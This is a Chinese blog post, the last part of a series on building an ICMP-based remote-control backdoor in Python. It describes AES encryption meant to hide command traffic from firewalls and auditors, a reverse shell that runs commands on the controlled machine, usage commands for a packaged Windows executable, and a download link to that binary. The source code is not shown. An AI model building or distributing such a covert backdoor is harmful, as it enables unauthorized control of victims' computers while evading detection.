• Python3实现ICMP远控后门(下)之“Boss”出场



    ICMP后门

    前言

    第一篇:Python3实现ICMP远控后门(上)

    第二篇:Python3实现ICMP远控后门(上)_补充篇

    第三篇:Python3实现ICMP远控后门(中)之“嗅探”黑科技

    熬到最后一篇了,本系列的Boss要出场了,实现了一个有意思的ICMP后门,暂时使用pyinstaller打包成了一个win32和64版本,如下图所示。

    在前几篇的基础上,本篇扩展的知识点为数据的加密和解密,以及shell的调用,并最终生成一个可用的ICMP后门。本篇总共分为五节,需要花费5分钟时间。

    第一节 通信的加密与解密  

    ICMP远控采用的是ICMP协议进行通信,为了确保通信的保密性,防止防火墙或者审计人员探测出控制信息,决定对ICMP数据域的内容进行加密处理。

    本次采用的是AES加密与base64编码相结合的方式。AES为最常见的对称加密算法(微信小程序加密传输就是用这个加密算法的)。对称加密算法也就是加密和解密用相同的密钥,具体的加解密流程如下图: 

     

    AES只是个基本算法,实现AES有若干模式。其中的CBC模式因为其安全性而被TLS(就是https的加密标准)和IPSec(win采用的)作为技术标准。简单地说,CBC使用密码和salt(起扰乱作用)按固定算法(md5)产生key和iv。然后用key和iv(初始向量,加密第一块明文)加密(明文)和解密(密文)。

    下面介绍ICMP远控的加密解密方案,对于AES加解密,这里采用CBC模式,在Python3.5及之前版本使用pycrypto‎模块,之后版本使用pycrytodome模块。

    加密

    先是使用AES加密,对于传入的加密内容长度必须为16的倍数,不足则补为16的倍数,我这里是设置的补为32的倍数。使用AES加密结束后,对加密后的内容进行base64编码,以便传输。

     

    解密

    先是对加密后的内容进行base64解码,接着在进行AES解密,最后去掉为了对齐填充的内容。

     

    第二节 Shell调用

    ICMP后门最基本的功能就是完成shell的调用,也就是经常说的反弹shell。反弹的shell即是受控端的shell,控制端通过ICMP协议将shell命令发送给受控端,受控端调用shell执行命令,并将命令结果通过ICMP协议回传给控制端。Python中对shell的调用如下:

    第三节 程序的整体结构

    代码中总共有三个类,父类Transfer,两个子类client和server。Transfer类主要完成了socket初始化,加解密,icmp协议封包的通用功能。同时提供了一个reverse方法需要子类实现。

    父类Transfer

    子类client

     

    子类server

    第四节 使用方法

    以我生成的icmpshell_win32.exe为例,为了方便演示,开启了一个VM虚拟机,和主机组成局域网,VM虚拟机中运行的是win7 32位的系统,主机运行的是win7 64的系统。主机的ip为192.168.72.4,虚拟机的ip为192.168.72.133.

     

    主机作为控制端,虚拟机作为受控端。首先在主机上运行如下命令(管理员权限运行)

    icmpshell_win32.exe -s 192.168.72.4

    其中 -s参数用于指明控制端的ip

    在受控端运行如下命令(管理员权限运行)

    icmpshell_win32.exe -l 192.168.72.133 -c 192.168.72.4

    其中 -l参数用于指明受控端的ip,-c参数用于指明要连接的控制端的ip

     

    受控端运行效果

    控制端运行效果

     

    执行dir命令和tasklist命令

    whoami命令

    icmpshell源代码已经优先上传到知识星球中,想看源代码的朋友请关注我的知识星球。

    如果大家只是想玩一下,给大家提供了icmpshell_win32.exe的下载链接。

    https://pan.baidu.com/s/1xQRyxmq6PUw6qHMU9ZKZ4g 密码:8rgu

    最后

    如果觉得本文还可以,一定记得推荐哟。欢迎关注我的公众号,知识星球在菜单中。

    回复【1】:领取 Python数据分析 教程大礼包
    回复【2】:领取 Python Flask 全套教程 
    回复【3】:领取 机器学习 全套教程 

  • 相关阅读:
    Flutter-路由
    写一个底部Tabs导航动态组件
    实例:Flutter布局01
    HTTP报文
    HTML文本的各种属性
    HTML必要简介和基础
    MySQL8.0.23安装超详细傻瓜式
    从一个HTTP请求来研究网络分层原理
    MySQL的增删改查
    MySQL常用数据类型有哪些?
  • 原文地址:https://www.cnblogs.com/qiyeboy/p/9053058.html
Copyright © 2020-2023  润新知